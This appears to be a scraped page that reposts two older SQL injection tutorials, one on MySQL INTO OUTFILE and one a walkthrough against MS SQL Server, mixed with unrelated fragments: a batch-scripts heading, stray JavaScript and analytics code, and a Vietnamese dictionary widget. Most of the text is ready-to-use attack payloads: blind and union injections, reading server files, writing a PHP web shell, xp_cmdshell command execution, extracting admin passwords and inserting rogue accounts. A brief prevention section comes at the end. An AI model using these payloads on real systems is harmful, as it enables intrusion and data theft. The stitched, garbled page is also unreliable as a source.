Batch Scripts for Windows

source: http://www.wilsonmar.com/1wsh.htm

INTO OUTFILE & SQL Injection

http://websec.wordpress.com/2007/11/17/mysql-into-outfile/

As in the previous articles I’ll assume you know the basics about SQL injection and union select.

1.) The FILE privilege

If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:
0′ UNION SELECT current_user,null /*
or:
0′ UNION SELECT user(),null /*
This will give us the username@server. We’re just interested in the username by now.

You can also use the following blind SQL injections if you cant access the output of the query.
Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)>’m
1′ AND MID((user()),2,1)>’m
1′ AND MID((user()),3,1)>’m
…

Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username

You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
(one column only, do not add nulls here, it’s not a union select)

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.

2.) The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(’a’),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
Use google to get some more ideas.

Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

3.) create useful files

Once you figured out the right directory you can select data and write it into a file with:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
(How to figure out column/table names, see my article about MySQL table and column names)

Or the whole data without knowing the table/column names:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…

In some cases I’d recommend to use
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:
// PHP SHELL
<? system($_GET['c']); ?>
This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.
Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.

// webserver info
Gain a lot of information about the webserver configuration with:
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

At the end some notes regarding INTO OUTFILE:

you can’t overwrite files with INTO OUTFILE

INTO OUTFILE must be the last statement in the query

there is no way I know of to encrypt the pathname, so quotes are required

you can “encrypt” your code with char()

var dd = new YAHOO.util.DD(‘maindiv’); dd.setHandleElId(‘titlediv’);var dd = new YAHOO.util.DD(‘maindiv’); dd.setHandleElId(‘titlediv’);var dd = new YAHOO.util.DD(‘maindiv’); dd.setHandleElId(‘titlediv’);

Baamboo-Tra từ “”

Bạn đang tra từ ở từ điển Anh – Việt.
Có thể từ điển hiện chưa có từ này.

Thêm mới | Thông báo cho chúng tôi!
Hay tìm thêm từ này tại từ điển khác:
Việt – Anh
TratuBookmark cho IE /firefox /Chrome

---

Xem thêm tại: Baamboo-Tra Từ

_uacct = “UA-657017-9″;_udn = “none”;_ulink=1;urchinTracker(“dispatchaddon.php”);

var dd = new YAHOO.util.DD(‘maindiv’); dd.setHandleElId(‘titlediv’);

SQL Injection Walkthrough

Source : http://www.securiteam.com/securityreviews/5DP0N1P76E.html

1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the “9.0 Where can I get more info?” for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for “FORM” tag in the HTML code. You may find something like this in some HTML codes:

Everything between the and have potential parameters that might be useful (exploit wise).

2.1 What if you can’t find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi’ or 1=1–

Into login, or password, or even in the URL. Example:
– Login: hi’ or 1=1–
– Pass: hi’ or 1=1–
– http://duck/index.asp?id=hi’ or 1=1–

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

3.1 But why ‘ or 1=1–?
Let us look at another example why ‘ or 1=1– is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, ‘category’ is the variable name, and ‘food’ is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory=’food’

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, ‘food’.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food’ or 1=1–

Now, our variable v_cat equals to “food’ or 1=1– “, if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–’

The query now should now select everything from the product table regardless if PCategory is equal to ‘food’ or not. A double dash “–” tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (‘). Sometimes, it may be possible to replace double dash with single hash “#”.

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

‘ or ‘a’='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’='a’

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’='a
” or “a”=”a
‘) or (‘a’='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–

Try using double quote (“) if single quote (‘) is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

But the target IP must folder “share” sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer ’10′ with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1′ to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is “table1″.

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1′)–

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25′–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

The matching patent, ‘%25login%25′ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. “password”, “details”. We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’,'password’,details’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let’s get the first login_name from the “admin_login” table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of “neo”. Finally, to get the password of “neo” from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5

We can now login as “neo” with his password “m4trix”.

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of “trinity” which is “31173″:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

We will probably get a “Page Not Found” error. The reason being, the password “31173″ will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for ‘+’ = 0x2b). We will append ‘(space)morpheus’ into the actual password. Therefore, even if we have a numeric string ’31173′, it will become ’31173 morpheus’. By manually calling the convert() function, trying to convert ’31173 morpheus’ into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’31173 morpheus’ to a column of data type int.
/index.asp, line 5

Now, you can even login as ‘trinity’ with the password ’31173′.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for “neo”:

http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

We can now login as “neo2″ with the password of “newpas5″.

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
– Input from users
– Parameters from URL
– Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change “Startup and run SQL Server” using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport’s article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf